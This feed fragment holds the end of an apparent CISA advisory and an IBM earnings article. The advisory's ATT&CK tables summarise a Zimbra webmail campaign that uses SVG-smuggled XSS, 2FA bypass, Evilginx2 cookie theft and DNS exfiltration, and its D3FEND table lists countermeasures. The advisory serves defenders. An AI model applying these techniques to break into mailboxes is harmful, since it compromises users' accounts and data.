<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
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<title><![CDATA[Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue]]></title>
<description><![CDATA[Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM...]]></description>
<link>https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</guid>
<pubDate>Thu, 23 Jul 2026 16:27:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.</p>



<p class="wp-block-paragraph">After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: <a href="https://78449.themediaframe.com/incomm/ibm/ibm260722pressrelease.pdf">Software revenue grew 5% in the second quarter</a> to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.</p>



<p class="wp-block-paragraph">On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.</p>



<p class="wp-block-paragraph">In a <a href="https://newsroom.ibm.com/2026-07-14-Arvind-Krishnas-Letter-to-IBM-Investors">July 14 letter</a> to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”</p>



<p class="wp-block-paragraph">In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”</p>



<p class="wp-block-paragraph">Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.</p>



<p class="wp-block-paragraph">Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and <a href="https://www.networkworld.com/article/3845376/ibm-laying-foundation-for-mainframe-as-ultimate-ai-server.html">AI-driven capacity</a> expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.</p>



<p class="wp-block-paragraph">“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of <a href="https://www.networkworld.com/article/4193914/ibm-grows-mainframe-family-with-rack-frame-models-targeting-ai-hybrid-clouds.html">z17 customers</a> investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”</p>



<p class="wp-block-paragraph">“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”</p>



<p class="wp-block-paragraph">“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”</p>



<p class="wp-block-paragraph">In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:</p>



<p class="wp-block-paragraph">“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.</p>



<p class="wp-block-paragraph">Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.</p>



